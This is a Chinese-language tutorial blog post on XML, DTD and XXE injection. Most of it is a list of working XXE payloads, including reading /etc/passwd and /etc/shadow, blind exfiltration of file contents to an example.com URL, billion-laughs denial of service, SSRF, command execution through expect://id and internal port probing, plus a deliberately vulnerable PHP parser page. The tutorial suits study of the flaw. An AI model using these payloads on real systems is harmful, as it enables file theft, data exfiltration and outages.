zoukankan      html  css  js  c++  java
  • xxe

    什么是xml

    xml是一种具有结构性的标记语言,用来标记数据,定义数据类型,允许用户自己定义的源语言。在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 但是,在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文

    什么是DTD

    一种文档类型定义 xml中标签本身是可以随便定义的二,DTD相当于给xml标签做个了类型限制约束

        例如:
    
        xxe.xml文件
    
        <?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE 班级 SYSTEM "xxe.dtd">
        <!--引入dtd文件,约束xml-->>
        <班级>
            <学生>
               <名字>xss</名字>
               <年龄>2</年龄>
               <介绍>1</介绍>    
            </学生>
        </班级>
    
    
         xxe.dtd文件
    
        <!ELEMENT 班级 (学生+)>
        <!ELEMENT 学生 (名字,年龄,介绍)>
        <!ELEMENT 名字(#PEDATA)>
        <!ELEMENT 年龄(#PEDATA)>
        <!ELEMENT 介绍(#PEDATA)>
    

    参考大佬博客(https://www.cnblogs.com/zhaijiahui/p/9147595.html#autoid-2-4-0)

    xxe漏洞

    又称为xml外部实体注入漏洞,发生在应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取,命令执行,内网端口扫描,攻击内网网站,dos攻击等

    例如:

    有了xml实体,ststem会令xml解析器从url中读取内容,并允许它在xml文档中被替换。因此攻击者可以通过实体将他定义的值发送给应用程序然后实现。

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
    <foo>
            <value>&passwd;</value>
    </foo>
    
    xml外部实体passwd被赋值成了file:///etc/passwd  因此运行解析时passwd就变成了file:///ect/passwd的内容
    
    

    按输出信息不同可以分成

    1. 正常回显xxe
    • 直接利用服务器回显信息进行xxe攻击
    1. 报错xxe
    • 正常回显时会报错,通过报错信息判断是否注入成功
    1. 盲注xxe(blind)最常见
    • 可以用file协议http协议ftp协议等伪协议配合使用

    payload

    基本的xml注入

    <?xml version = "1.0"?>
    
    <!DOCTYPE note [
    
        <!ENTITY hack "zjhzjhhh">
    
    ]>
    
    <name>&hack;</name>
    

    实体实例

    <?xml version="1.0"  encoding="UTF-8"?>
    <!DOCTYPE foo [           //定义了foo的根元素
    <!ELEMENT foo ANY>        //foo是接受任何参数的
    <!ENTITY xxe "test">]>    //定义了一个实体 xxe 
    <creds>
        <name>&xxe;</name>    //&xxe进行引用 本地引用
        <pass>pass</pass>
    </creds>
    

    外部实例

    1. 在本地创建shell.php文件
        <?php
        $body = file_get_contents("php://input");   //php://input是伪协议类型的一种
        $xml = simplexml_load_string($body);
        print_r($xml);//有回显,无回显
        ?>
        
    

    1. 创建一个test.dtd文件
        <!ENTITY xxe "xxe!">
    
    

    1. 定义一个test.xml文件
        <?xml version="1.0"  encoding="UTF-8"?>
        <!DOCTYPE foo [
        <!ENTITY % test SYSTEM "D:/Phpstudy/PHPTutorial/WWW/test.dtd">
        %test;
        ]>
        <creds>
        	<user>&xxe;</user>
        	<mypass>mypass</mypass>
        </creds>
    

    数据访问过程:
    先访问test.dtd里面的内容,把里面声明的xxe实体拿出来,在页面上调用

    shell.php模拟一个存在xxe的页面环境 test.dtd作用是调用时页面的回显 test.xml的内容就是payload

    文件泄露

    <!--?xml version="1.0" ?-->
    <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
    <userInfo>
     <firstName>John</firstName>
     <lastName>&ent;</lastName>
    </userInfo>
    

    拒绝服务

    <!--?xml version="1.0" ?-->
    <!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    <tag>&lol9;</tag>
    

    本地文件包含

    <?xml version="1.0"?>
    <!DOCTYPE foo [  
    <!ELEMENT foo (#ANY)>
    <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    <foo>&xxe;</foo>
    

    本地文件包含blind

    <?xml version="1.0"?>
    <!DOCTYPE foo [
    <!ELEMENT foo (#ANY)>
    <!ENTITY % xxe SYSTEM "file:///etc/passwd">
    <!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]>
    <foo>&blind;</foo>
    

    ssrf

    <?xml version="1.0"?>
    <!DOCTYPE foo [  
    <!ELEMENT foo (#ANY)>
    <!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>
    

    任意文件读取

    <?xml version="1.0"?>
        <!DOCTYPE Quan[
        <!ENTITY f SYSTEM "file:///etc/passwd">
    ]>
    
    <hhh>&f;<hhh>
    

    执行系统命令

    <?xml version="1.0"?>
        <!DOCTYPE Quan[
        <!ENTITY f SYSTEM "expect://id">
    ]>
    
    <hhh>&f;<hhh>
    

    内网探测端口

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE note[
      <!ENTITY Quan SYSTEM "http://192.168.246.136:80">
    ]>
    
    <reset><login>&Quan;</login><secret>Any bugs?</secret></reset>
    
  • 相关阅读:
    【docker学习一】CentOS7.5+Docker安装及使用「安装、查看、pull、创建、进入镜像」
    excel for mac打开csv文件不分列
    【java自定义注解2】java自定义注解结合Spring AOP
    【java自定义注解1】java自定义注解-属性
    【jar包管理】Maven BOM
    【JAVA8】Set排序四种写法
    PAT甲题题解-1072. Gas Station (30)-dijkstra最短路
    PAT甲题题解-1073. Scientific Notation (20)-字符串处理
    PAT甲题题解-1074. Reversing Linked List (25)-求反向链表
    PAT甲题题解-1075. PAT Judge (25)-排序
  • 原文地址:https://www.cnblogs.com/zjhzjhhh/p/14170377.html
Copyright © 2011-2022 走看看